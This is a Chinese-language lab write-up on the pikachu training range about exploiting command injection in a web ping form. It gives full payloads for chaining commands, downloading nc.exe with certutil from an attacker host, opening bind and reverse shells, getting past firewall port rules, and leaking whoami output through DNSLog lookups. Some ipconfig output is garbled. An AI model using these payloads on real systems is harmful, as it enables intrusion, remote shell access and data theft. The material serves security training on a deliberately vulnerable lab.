靶场:pikachu
漏洞:ping命令漏洞
场景
有一个窗口,能实现输入一个IP地址后对其进行ping操作。

涉及知识
执行多条命令的方法
管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号) Windows有4种,Linux有6种
Windows-> | & || && | 执行时仅返回后面的值
Linux->; | || & && ``(特有``和;) 例子: ping -c 1 127.0.0.1 ; whoami ping -c 1 127.0.0.1 | whoami ping -c 1 127.0.0.1 || whoami ping -c 1 127.0.0.1 & whoami ping -c 1 127.0.0.1 && whoami ping -c 1 127.0.0.1 `whoami`
|
漏洞利用:反弹shell
上传nc.exe到指定目录下
换个视角来说,就是对面服务器在下载文件。

127.0.0.1 | certutil.exe -urlcache -split -f http://192.168.1.101:8034/nc.exe C:\\nc.exe
|
获取网卡IP
下载完成后,尝试获取对面的IP地址。
Windows IP ����
��̫�������� Ethernet0:
�����ض��� DNS �� . . . . . . . : localdomain �������� IPv6 ��ַ. . . . . . . . : fe80::355b:6b2:bede:3905%15 IPv4 ��ַ . . . . . . . . . . . . : 192.168.59.129 �������� . . . . . . . . . . . . : 255.255.255.0 Ĭ������. . . . . . . . . . . . . :
��̫�������� Ethernet1:
�����ض��� DNS �� . . . . . . . : �������� IPv6 ��ַ. . . . . . . . : fe80::2c3a:5d98:3e93:f708%12 IPv4 ��ַ . . . . . . . . . . . . : 192.168.1.102 �������� . . . . . . . . . . . . : 255.255.255.0 Ĭ������. . . . . . . . . . . . . : 192.168.1.1
��̫�������� Ethernet2:
�����ض��� DNS �� . . . . . . . : localdomain �������� IPv6 ��ַ. . . . . . . . : fe80::19b8:ec37:2753:f3fc%29 IPv4 ��ַ . . . . . . . . . . . . : 192.168.232.193 �������� . . . . . . . . . . . . : 255.255.255.0 Ĭ������. . . . . . . . . . . . . : 192.168.232.2
��̫�������� Npcap Loopback Adapter:
�����ض��� DNS �� . . . . . . . : �������� IPv6 ��ַ. . . . . . . . : fe80::e4e3:6d3f:5e8e:a5f2%39 �Զ����� IPv4 ��ַ . . . . . . . : 169.254.165.242 �������� . . . . . . . . . . . . : 255.255.0.0 Ĭ������. . . . . . . . . . . . . :
|
获得对面服务器的shell
正向连接
服务器绑定监听端口,攻击端连接到服务器ip地址获取shell
127.0.0.1 | C:\\nc -e cmd -lvvp 5566
ncat 192.168.59.129 5566
|

逆向连接
服务器主动给出权限到指定的远程攻击端IP地址和端口,远程攻击端监听端口即可连接服务器shell。
ncat -lvvp 5566
127.0.0.1|C:\\nc.exe cmd -e 192.168.1.101 5566
|

开启防火墙(组策略)下的ping窗口
入站限制5566
说明
场景:限制入栈的5566端口(TCP)
影响:外部主机无法通过5566端口直接连接内网主机。

无法直接连接的解决办法
使服务器主动从出站5566端口给出shell,避开入栈5566端口的封禁

出站5566端口限制
说明
场景:服务端入站5566端口不做限制,仅限制出站5566端口。
影响:服务端无法主动给出5566端口。
进入服务器的限制比较严密,出站规则比较宽松。 当出站的5566被封后,入站的5566即使没有设置也会失效。(少见) 这种情况下,仅仅允许设置的流量入站,而5566在设置出站封禁时,是没有设置入站放行的。
|

解决办法
127.0.0.1|C:\\nc.exe cmd -e -lvvp 5566
ncat 192.168.59.129 5566
|
数据无回显->使用带外查询
执行完命令页面不回显,不确定的情况下使用带外查询。

数据不回显:
1、反弹shell
2、带外查询
DNSLog 可以使用Linux系统在ping状态下使用``调用命令。
针对Windows系统:命令行进入powershell框架
针对Windows服务器的带外查询
带外查询(个人理解)符合以下情况:
- 能执行ping命令、
- 没有封锁管道服务
- 没有明显的数据回显
带外查询的办法:前往 DNSLog网站进行查询。
点击get subdomain获取一个域名
这里加上管道,结合ping命令和powershell进行查询. 如下: ping 127.0.0.1|powershell $x=whoami;$x.replace('\','xxx');$y='.kayk1b.dnslog.cn';$z=$x+$y;ping $z 稍微解读下: ping 127.0.0.1| => ping命令和“或”管道符 powershell => 调用Windows的powershell $x=whoami;$x.replace('\','xxx'); => 调用whoami查询本机用户主体,并且替换掉查询出来的“\” $y='.kayk1b.dnslog.cn';$z=$x+$y;ping $z => 获取dnslog的域名,并且将域名和$x的信息合并
最后,在DNSlog.cn上点击Refresh Record刷新,就能查到你所需要的账户主体的名称
|
Windows的带外查询需要调用到Windows的powershell来查找主机的主体再拼接成ping命令,Linux能直接在ping命令上执行并且拼接字符串来返回信息,比Windows方便多了。
针对Linux服务器的带外查询
Linux就简单多了,只需获取带外查询的域名,使用如下的ping命令,再在DNSLOG那点击Refresh Record刷新就可以看到了。
`whoami`.kayk1b.dnslog.cn
|
协议
ping命令走的是ICMP协议,防火墙拦截的是TCP和UDP协议